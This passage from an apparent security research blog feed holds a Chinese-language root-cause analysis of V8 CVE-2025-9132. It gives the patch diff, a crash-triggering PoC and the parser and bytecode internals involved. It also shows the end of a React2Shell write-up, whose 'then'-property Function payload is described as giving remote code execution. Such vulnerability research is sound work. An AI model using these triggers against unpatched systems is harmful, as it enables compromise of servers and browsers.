class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  <span class="string">&quot;then&quot;</span>: <span class="title class_">Function</span>(<span class="string">&quot;debugger;throw new Error(&#x27;test&#x27;);4919&quot;</span>)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>后续 <code> await decodeReplyFromBusboy</code> 再次触发 <code>then</code> 函数时，恶意代码被执行，实现 RCE。</p><h2 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h2><p><a href="https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3">https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/zh/img/2025-CVE-2025-55182/CVE-2025-55182.png&quot;&gt;&lt;/p&gt;
&lt;h1 id=&quot;React2Shell-CVE-2025-55182-漏洞分析&quot;&gt;&lt;a href=&quot;#React2Shell-CVE-2025-55182-漏洞分析&quot; class=&quot;headerlink&quot; title=&quot;React2Shell (CVE-2025-55182) 漏洞分析&quot;&gt;&lt;/a&gt;React2Shell (CVE-2025-55182) 漏洞分析&lt;/h1&gt;&lt;p&gt;这几天应该很多人在忙着应急这个“核弹级”漏洞，它已经成了安全圈里的“新顶流”。但网上还没有比较详细的分析文章，而我又对公开POC中的一些细节实在好奇，所以今天来一探究竟。&lt;br&gt;因为我对React不够了解，所以本文没有任何扩展内容，仅仅只是把漏洞利用过程调试了一遍，并且因为利用过程有点绕，所以配上了流程图方便理解。&lt;/p&gt;</summary>
    
    
    
    
    <category term="Vulnerability" scheme="https://keenlab.tencent.com/zh/tags/Vulnerability/"/>
    
    <category term="Exploitation" scheme="https://keenlab.tencent.com/zh/tags/Exploitation/"/>
    
    <category term="react" scheme="https://keenlab.tencent.com/zh/tags/react/"/>
    
  </entry>
  
  <entry>
    <title>【漏洞分析】CVE-2025-9132 &quot;Await Using&quot; Can&#39;t Wait</title>
    <link href="https://keenlab.tencent.com/zh/2025/08/22/2025-CVE-2025-9132/"/>
    <id>https://keenlab.tencent.com/zh/2025/08/22/2025-CVE-2025-9132/</id>
    <published>2025-08-22T11:00:00.000Z</published>
    <updated>2025-12-08T11:23:11.842Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/zh/img/2025-CVE-2025-9132/cve-2025-9132.png"></p><p>既然这是Project Zero的BigSleep发现的第一个V8漏洞，Buff这么多，那就很难不来一窥究竟了。</p><span id="more"></span><p><img src="/zh/img/2025-CVE-2025-9132/sael.png"></p><h2 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h2><p>8月19日的 Google Chrome 更新修复了一个由 Google Big Sleep 发现的漏洞。</p><p><a href="https://chromereleases.googleblog.com/2025/08/stable-channel-update-for-desktop_19.html">Chrome Releases: Stable Channel Update for Desktop</a></p><p>  [<a href="https://issues.chromium.org/issues/436181695">436181695</a>] <strong>High</strong> CVE-2025-9132: Out of bounds write in V8. <em>Reported by Google Big Sleep on 2025-08-04</em></p><p>通过分析补丁，我们成功实现了 CVE-2025-9132 的利用。以下所有分析和利用都基于 v8 13.9.205.19，commit 505ec917b67c535519bebec58c62a34f145dd49f，即 v8 13.9 分支中漏洞修复前的 commit。</p><p>CVE-2025-9132 的补丁和补丁中附带的 PoC 如下。</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">diff --git a/src/parsing/parser.cc b/src/parsing/parser.cc</span></span><br><span class="line"><span class="comment">index 26249aff4bb..7b5b2458b77 100644</span></span><br><span class="line"><span class="comment">--- a/src/parsing/parser.cc</span></span><br><span class="line"><span class="comment">+++ b/src/parsing/parser.cc</span></span><br><span class="line"><span class="meta">@@ -2408,7 +2408,10 @@</span> Statement* Parser::DesugarLexicalBindingsInForStatement(</span><br><span class="line">     //    make statement: let/const x = temp_x.</span><br><span class="line">     for (int i = 0; i &lt; for_info.bound_names.length(); i++) &#123;</span><br><span class="line">       VariableProxy* proxy = DeclareBoundVariable(</span><br><span class="line"><span class="deletion">-          for_info.bound_names[i], for_info.parsing_result.descriptor.mode,</span></span><br><span class="line"><span class="addition">+          for_info.bound_names[i],</span></span><br><span class="line"><span class="addition">+          for_info.parsing_result.descriptor.mode == VariableMode::kAwaitUsing</span></span><br><span class="line"><span class="addition">+              ? VariableMode::kConst</span></span><br><span class="line"><span class="addition">+              : for_info.parsing_result.descriptor.mode,</span></span><br><span class="line">           kNoSourcePosition);</span><br><span class="line">       inner_vars.Add(proxy-&gt;var());</span><br><span class="line">       VariableProxy* temp_proxy = factory()-&gt;NewVariableProxy(temps.at(i));</span><br></pre></td></tr></table></figure><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Copyright 2025 the V8 project authors. All rights reserved.</span></span><br><span class="line"><span class="comment">// Use of this source code is governed by a BSD-style license that can be</span></span><br><span class="line"><span class="comment">// found in the LICENSE file.</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> v = [];</span><br><span class="line"></span><br><span class="line">(<span class="title function_">async</span> () =&gt; &#123;</span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; <span class="number">6</span>; ++i) &#123;</span><br><span class="line">    v.<span class="title function_">push</span>(i);</span><br><span class="line">    <span class="keyword">await</span> <span class="number">0</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;)();</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">TestCStyleForCountTicks</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">await</span> <span class="keyword">using</span> x = &#123;</span><br><span class="line">         <span class="attr">value</span>: <span class="number">42</span>,</span><br><span class="line">         [<span class="title class_">Symbol</span>.<span class="property">asyncDispose</span>]() &#123;</span><br><span class="line">           v.<span class="title function_">push</span>(<span class="string">`asyncDispose`</span>);</span><br><span class="line">         &#125;  <span class="comment">// One tick is expected after calling asyncDispose to allow it to be</span></span><br><span class="line">            <span class="comment">// asynchronous. It will be called after exiting the for-loop.</span></span><br><span class="line">       &#125;;</span><br><span class="line">       x.<span class="property">value</span> &lt; <span class="number">44</span>; x.<span class="property">value</span>++) &#123;</span><br><span class="line">    <span class="comment">// These pushes are expected to be synchronous.</span></span><br><span class="line">    v.<span class="title function_">push</span>(x.<span class="property">value</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  v.<span class="title function_">push</span>(<span class="string">`afterForLoop`</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">RunTest</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">await</span> <span class="title class_">TestCStyleForCountTicks</span>();</span><br><span class="line">  <span class="title function_">assertArrayEquals</span>([<span class="number">0</span>, <span class="number">42</span>, <span class="number">43</span>, <span class="string">`asyncDispose`</span>, <span class="number">1</span>, <span class="string">`afterForLoop`</span>, <span class="number">2</span>], v);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title class_">RunTest</span>();</span><br></pre></td></tr></table></figure><p>使用 debug 版本的 d8 运行 PoC 会在 <code>BytecodeArrayWriter::BindJumpTableEntry</code> 中触发 DCHECK <code>[1]</code>。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">void</span> <span class="title">BytecodeArrayWriter::BindJumpTableEntry</span><span class="params">(BytecodeJumpTable* jump_table,</span></span></span><br><span class="line"><span class="params"><span class="function">                                             <span class="type">int</span> case_value)</span> </span>&#123;</span><br><span class="line">  <span class="built_in">DCHECK</span>(!jump_table-&gt;<span class="built_in">is_bound</span>(case_value));         <span class="comment">// [1] crash here</span></span><br><span class="line"></span><br><span class="line">  <span class="type">size_t</span> current_offset = <span class="built_in">bytecodes</span>()-&gt;<span class="built_in">size</span>();</span><br><span class="line">  <span class="type">size_t</span> relative_jump = current_offset - jump_table-&gt;switch_bytecode_offset();</span><br><span class="line"></span><br><span class="line">  <span class="built_in">constant_array_builder</span>()-&gt;<span class="built_in">SetJumpTableSmi</span>(</span><br><span class="line">      jump_table-&gt;<span class="built_in">ConstantPoolEntryFor</span>(case_value),</span><br><span class="line">      Smi::<span class="built_in">FromInt</span>(<span class="built_in">static_cast</span>&lt;<span class="type">int</span>&gt;(relative_jump)));</span><br><span class="line">  jump_table-&gt;<span class="built_in">mark_bound</span>(case_value);</span><br><span class="line"></span><br><span class="line">  <span class="built_in">StartBasicBlock</span>();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h2><p>补丁和 PoC 都显示漏洞与 <code>await using</code> 语法有关。<code>await using</code> 是 JavaScript 中的新特性。使用 <code>await using</code> 声明的变量离开其作用域时，它的 <code>[asyncDispose]</code> 会被异步调用。</p><p>  The <strong><code>await using</code></strong> declaration declares block-scoped local variables that are <em>asynchronously disposed</em>.</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">foo</span>(<span class="params"></span>) &#123;</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">await</span> <span class="keyword">using</span> x = &#123;</span><br><span class="line">      [<span class="title class_">Symbol</span>.<span class="property">asyncDispose</span>]() &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;asyncDispose&quot;</span>);</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="comment">// await x[Symbol.asyncDispose]();</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在 v8 中，如果 <code>async function</code> 中有 <code>await</code> 关键字，那么函数的开头会是一个 <code>SwitchOnGeneratorState</code> 字节码，每个 <code>await</code> 会产生一对 <code>SuspendGenerator/ResumeGenerator</code> 字节码。<code>SuspendGenerator</code> 会将函数的当前状态保存到 <code>JSGeneratorObject</code> 对象中，然后退出。当 <code>await</code> 完成，函数会重新从开头的 <code>SwitchOnGeneratorState</code> 处开始执行，<code>SwitchOnGeneratorState</code> 会根据 <code>JSGeneratorObject</code> 从对应的 <code>ResumeGenerator</code> 处恢复执行，<code>ResumeGenerator</code> 会从 <code>JSGeneratorObject</code> 导入函数状态。</p><p><code>SwitchOnGeneratorState</code> 有一个 JumpTable，用于选择从哪一个 <code>ResumeGenerator</code> 执行。v8 先从源码产生 AST，再从 AST 生成字节码。为了确定 JumpTable 的大小，v8 在 parse 源码时会记录 <code>await</code>、<code>await using</code>、<code>yield</code> 等关键字的个数。例如 <code>ParserBase&lt;Impl&gt;::ParseVariableDeclarations</code> 第一次在一个作用域中遇到 <code>await using</code> 时会调用 <code>AddSuspend</code> 来增加计数。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">template</span> &lt;<span class="keyword">typename</span> Impl&gt;</span><br><span class="line"><span class="type">void</span> ParserBase&lt;Impl&gt;::<span class="built_in">ParseVariableDeclarations</span>(</span><br><span class="line">    VariableDeclarationContext var_context,</span><br><span class="line">    DeclarationParsingResult* parsing_result,</span><br><span class="line">    ZonePtrList&lt;<span class="type">const</span> AstRawString&gt;* names) &#123;</span><br><span class="line">  <span class="comment">// VariableDeclarations ::</span></span><br><span class="line">  <span class="comment">//   (&#x27;var&#x27; | &#x27;const&#x27; | &#x27;let&#x27; | &#x27;using&#x27; | &#x27;await using&#x27;) (Identifier (&#x27;=&#x27;</span></span><br><span class="line">  <span class="comment">//   AssignmentExpression)?)+[&#x27;,&#x27;]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">DCHECK_NOT_NULL</span>(parsing_result);</span><br><span class="line">  parsing_result-&gt;descriptor.kind = NORMAL_VARIABLE;</span><br><span class="line">  parsing_result-&gt;descriptor.declaration_pos = <span class="built_in">peek_position</span>();</span><br><span class="line">  parsing_result-&gt;descriptor.initialization_pos = <span class="built_in">peek_position</span>();</span><br><span class="line"></span><br><span class="line">  Scope* target_scope = <span class="built_in">scope</span>();</span><br><span class="line"></span><br><span class="line">  <span class="keyword">switch</span> (<span class="built_in">peek</span>()) &#123;</span><br><span class="line">      <span class="comment">// ...</span></span><br><span class="line">    <span class="keyword">case</span> Token::kAwait:</span><br><span class="line">      <span class="comment">// CoverAwaitExpressionAndAwaitUsingDeclarationHead[?Yield] [no</span></span><br><span class="line">      <span class="comment">// LineTerminator here] BindingList[?In, ?Yield, +Await, ~Pattern];</span></span><br><span class="line">      <span class="built_in">Consume</span>(Token::kAwait);</span><br><span class="line">      <span class="built_in">DCHECK</span>(v8_flags.js_explicit_resource_management);</span><br><span class="line">      <span class="built_in">DCHECK_NE</span>(var_context, kStatement);</span><br><span class="line">      <span class="built_in">DCHECK</span>(<span class="built_in">is_using_allowed</span>());</span><br><span class="line">      <span class="built_in">DCHECK</span>(<span class="built_in">is_await_allowed</span>());</span><br><span class="line">      <span class="built_in">Consume</span>(Token::kUsing);</span><br><span class="line">      <span class="built_in">DCHECK</span>(!<span class="built_in">scanner</span>()-&gt;<span class="built_in">HasLineTerminatorBeforeNext</span>());</span><br><span class="line">      <span class="built_in">DCHECK</span>(<span class="built_in">peek</span>() != Token::kLeftBracket &amp;&amp; <span class="built_in">peek</span>() != Token::kLeftBrace);</span><br><span class="line">      <span class="built_in">impl</span>()-&gt;<span class="built_in">CountUsage</span>(v8::Isolate::kExplicitResourceManagement);</span><br><span class="line">      parsing_result-&gt;descriptor.mode = VariableMode::kAwaitUsing;</span><br><span class="line">      <span class="keyword">if</span> (!target_scope-&gt;<span class="built_in">has_await_using_declaration</span>()) &#123;</span><br><span class="line">        function_state_-&gt;<span class="built_in">AddSuspend</span>();                          <span class="comment">// [1] AddSuspend()</span></span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">default</span>:</span><br><span class="line">      <span class="built_in">UNREACHABLE</span>();  <span class="comment">// by current callers</span></span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure><p>生成字节码时，<code>BytecodeGenerator</code> 会先 <code>constant_pool</code> 中预留 <code>info()-&gt;literal()-&gt;suspend_count()</code> 个位置（<code>constant_pool</code> 是一个数组），作为 JumpTable。JumpTable 会在生成字节码的过程中逐个被填充成实际的跳转偏移。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">void</span> <span class="title">BytecodeGenerator::BuildGeneratorPrologue</span><span class="params">()</span> </span>&#123;</span><br><span class="line">  <span class="built_in">DCHECK_GT</span>(<span class="built_in">info</span>()-&gt;<span class="built_in">literal</span>()-&gt;<span class="built_in">suspend_count</span>(), <span class="number">0</span>);</span><br><span class="line">  generator_jump_table_ =</span><br><span class="line">      <span class="built_in">builder</span>()-&gt;<span class="built_in">AllocateJumpTable</span>(<span class="built_in">info</span>()-&gt;<span class="built_in">literal</span>()-&gt;<span class="built_in">suspend_count</span>(), <span class="number">0</span>);   <span class="comment">// [1] AllocateJumpTable</span></span><br><span class="line"></span><br><span class="line">  <span class="comment">// If the generator is not undefined, this is a resume, so perform state</span></span><br><span class="line">  <span class="comment">// dispatch.</span></span><br><span class="line">  <span class="built_in">builder</span>()-&gt;<span class="built_in">SwitchOnGeneratorState</span>(<span class="built_in">generator_object</span>(), generator_jump_table_);</span><br><span class="line"></span><br><span class="line">  <span class="comment">// Otherwise, fall-through to the ordinary function prologue, after which we</span></span><br><span class="line">  <span class="comment">// will run into the generator object creation and other extra code inserted</span></span><br><span class="line">  <span class="comment">// by the parser.</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><code>BytecodeGenerator</code> 有自己的数据成员 <code>suspend_count_</code>，初始值为 0。 在根据 AST 生成字节码时，每当需要生成一个 <code>SuspendGenerator</code> ，就会以 <code>suspend_count_</code> 字段作为 <code>suspend_id</code>，然后将 <code>suspend_count_</code> 自增。<code>suspend_id</code> 被用作 <code>BytecodeArrayWriter::BindJumpTableEntry</code> 函数的 <code>case_value</code> 参数，作为索引填充 JumpTable。正常来说，<code>suspend_id</code> 的范围是 <code>[0, info()-&gt;literal()-&gt;suspend_count() - 1]</code>。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Suspends the generator to resume at the next suspend_id, with output stored</span></span><br><span class="line"><span class="comment">// in the accumulator. When the generator is resumed, the sent value is loaded</span></span><br><span class="line"><span class="comment">// in the accumulator.</span></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">BytecodeGenerator::BuildSuspendPoint</span><span class="params">(<span class="type">int</span> position)</span> </span>&#123;</span><br><span class="line">  <span class="comment">// Because we eliminate jump targets in dead code, we also eliminate resumes</span></span><br><span class="line">  <span class="comment">// when the suspend is not emitted because otherwise the below call to Bind</span></span><br><span class="line">  <span class="comment">// would start a new basic block and the code would be considered alive.</span></span><br><span class="line">  <span class="keyword">if</span> (<span class="built_in">builder</span>()-&gt;<span class="built_in">RemainderOfBlockIsDead</span>()) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="type">const</span> <span class="type">int</span> suspend_id = suspend_count_++;                                     <span class="comment">// [1] suspend_count_++</span></span><br><span class="line"></span><br><span class="line">  RegisterList registers = <span class="built_in">register_allocator</span>()-&gt;<span class="built_in">AllLiveRegisters</span>();</span><br><span class="line"></span><br><span class="line">  <span class="comment">// Save context, registers, and state. This bytecode then returns the value</span></span><br><span class="line">  <span class="comment">// in the accumulator.</span></span><br><span class="line">  <span class="built_in">builder</span>()-&gt;<span class="built_in">SetExpressionPosition</span>(position);</span><br><span class="line">  <span class="built_in">builder</span>()-&gt;<span class="built_in">SuspendGenerator</span>(<span class="built_in">generator_object</span>(), registers, suspend_id);     <span class="comment">// [2] suspend_id</span></span><br><span class="line"></span><br><span class="line">  <span class="comment">// Upon resume, we continue here.</span></span><br><span class="line">  <span class="built_in">builder</span>()-&gt;<span class="built_in">Bind</span>(generator_jump_table_, suspend_id);</span><br><span class="line"></span><br><span class="line">  <span class="comment">// Clobbers all registers and sets the accumulator to the</span></span><br><span class="line">  <span class="comment">// [[input_or_debug_pos]] slot of the generator object.</span></span><br><span class="line">  <span class="built_in">builder</span>()-&gt;<span class="built_in">ResumeGenerator</span>(<span class="built_in">generator_object</span>(), registers);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>CVE-2025-9132 的根本原因是 <code>Parser::DesugarLexicalBindingsInForStatement</code> 对 AST进行变换时引入了额外的 <code>await using</code> 变量。<code>DesugarLexicalBindingsInForStatement</code> 的注释解释了变换的方式。<code>for (let/const x = i; cond; next) body</code> 中的 <code>let/const x = i</code> 变成了 <code>[1]</code> <code>[2]</code> 两处 <code>let/const x = ...</code>。当这种变换应用到 PoC 中的代码时，源码中的一个 <code>await using x = ...</code> 变成了 AST 中的两处<code>await using x = ...</code> 。因此 <code>BytecodeGenerator</code> 在按照 AST 生成字节码并填充 JumpTable 时会出现 <code>suspend_id &gt;= info()-&gt;literal()-&gt;suspend_count()</code> 的情况， 造成越界写。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// ES6 13.7.4.8 specifies that on each loop iteration the let variables are</span></span><br><span class="line"><span class="comment">// copied into a new environment.  Moreover, the &quot;next&quot; statement must be</span></span><br><span class="line"><span class="comment">// evaluated not in the environment of the just completed iteration but in</span></span><br><span class="line"><span class="comment">// that of the upcoming one.  We achieve this with the following desugaring.</span></span><br><span class="line"><span class="comment">// Extra care is needed to preserve the completion value of the original loop.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// We are given a for statement of the form</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//  labels: for (let/const x = i; cond; next) body</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// and rewrite it as follows.  Here we write &#123;&#123; ... &#125;&#125; for init-blocks, ie.,</span></span><br><span class="line"><span class="comment">// blocks whose ignore_completion_value_ flag is set.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//  &#123;</span></span><br><span class="line"><span class="comment">//    let/const x = i;                            [1]</span></span><br><span class="line"><span class="comment">//    temp_x = x;</span></span><br><span class="line"><span class="comment">//    first = 1;</span></span><br><span class="line"><span class="comment">//    undefined;</span></span><br><span class="line"><span class="comment">//    outer: for (;;) &#123;</span></span><br><span class="line"><span class="comment">//      let/const x = temp_x;                     [2]</span></span><br><span class="line"><span class="comment">//      &#123;&#123; if (first == 1) &#123;</span></span><br><span class="line"><span class="comment">//           first = 0;</span></span><br><span class="line"><span class="comment">//         &#125; else &#123;</span></span><br><span class="line"><span class="comment">//           next;</span></span><br><span class="line"><span class="comment">//         &#125;</span></span><br><span class="line"><span class="comment">//         flag = 1;</span></span><br><span class="line"><span class="comment">//         if (!cond) break;</span></span><br><span class="line"><span class="comment">//      &#125;&#125;</span></span><br><span class="line"><span class="comment">//      labels: for (; flag == 1; flag = 0, temp_x = x) &#123;</span></span><br><span class="line"><span class="comment">//        body</span></span><br><span class="line"><span class="comment">//      &#125;</span></span><br><span class="line"><span class="comment">//      &#123;&#123; if (flag == 1)  // Body used break.</span></span><br><span class="line"><span class="comment">//           break;</span></span><br><span class="line"><span class="comment">//      &#125;&#125;</span></span><br><span class="line"><span class="comment">//    &#125;</span></span><br><span class="line"><span class="comment">//  &#125;</span></span><br></pre></td></tr></table></figure><h2 id="利用"><a href="#利用" class="headerlink" title="利用"></a>利用</h2><p><img src="/zh/img/2025-CVE-2025-9132/xion.png"></p><p>Xion大佬说得对，漏洞容易利用，“大觉”（真是一个信达雅的翻译:D）也确实很有趣。大家也可以动动手了。</p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p>[1] <a href="https://chromereleases.googleblog.com/2025/08/stable-channel-update-for-desktop_19.html">https://chromereleases.googleblog.com/2025/08/stable-channel-update-for-desktop_19.html</a></p><p>[2] <a href="https://chromium-review.googlesource.com/c/v8/v8/+/6853483">https://chromium-review.googlesource.com/c/v8/v8/+/6853483</a></p><p>[3] <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/await_using">https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/await_using</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/zh/img/2025-CVE-2025-9132/cve-2025-9132.png&quot;&gt;&lt;/p&gt;
&lt;p&gt;既然这是Project Zero的BigSleep发现的第一个V8漏洞，Buff这么多，那就很难不来一窥究竟了。&lt;/p&gt;</summary>
    
    
    
    
    <category term="KeenLab" scheme="https://keenlab.tencent.com/zh/tags/KeenLab/"/>
    
    <category term="Vulnerability" scheme="https://keenlab.tencent.com/zh/tags/Vulnerability/"/>
    
  </entry>
  
  <entry>
    <title>SecCorpus: 构建安全领域大模型数据的技术实践</title>
    <link href="https://keenlab.tencent.com/zh/2024/04/11/2024-SecCorpus0411/"/>
    <id>https://keenlab.tencent.com/zh/2024/04/11/2024-SecCorpus0411/</id>
    <published>2024-04-11T06:00:00.000Z</published>
    <updated>2025-12-08T11:23:11.842Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/zh/img/2024-SecCorpus0411/cover.png"></p><span id="more"></span><h1 id="1-引言"><a href="#1-引言" class="headerlink" title="1. 引言"></a><strong>1. 引言</strong></h1><p>过去十几年来，人工智能技术不断发展，逐渐被应用于网络安全领域，大幅提升了检测分析、处置响应等方面的效率。ChatGPT的问世及其卓越表现，再次激发了网络安全市场对于大模型的期待。然而，以ChatGPT为代表的通用大模型通常以API形式供使用方调用，这不可避免地带来了成本和数据隐私问题。此外，通用大模型在网络安全领域的实际应用效果尚存优化空间。因此，针对特定业务场景的私有化部署的领域大模型应运而生。如何构建一个适用于网络安全领域的大模型，以协同提升安全攻防、安全运营等能力，成为关键课题。目前众多网络安全厂商已陆续推出自有网络安全垂直领域大模型。</p><p>为了强化和推进大模型在安全垂直领域的表现，<strong>腾讯安全科恩实验室构建了SecCorpus安全领域大模型数据清洗套件及相应的安全语料数据集</strong>。本文首先概述当前网络安全领域大模型的进展及应用场景，并以腾讯安全科恩实验室在安全领域大模型安全语料数据方面的研究工作为背景，分享我们在构建SecCorpus过程中的一些经验和成果。</p><h1 id="2-安全领域大模型进展"><a href="#2-安全领域大模型进展" class="headerlink" title="2. 安全领域大模型进展"></a><strong>2. 安全领域大模型进展</strong></h1><h2 id="2-1-网络安全领域大模型进展"><a href="#2-1-网络安全领域大模型进展" class="headerlink" title="2.1. 网络安全领域大模型进展"></a><strong>2.1. 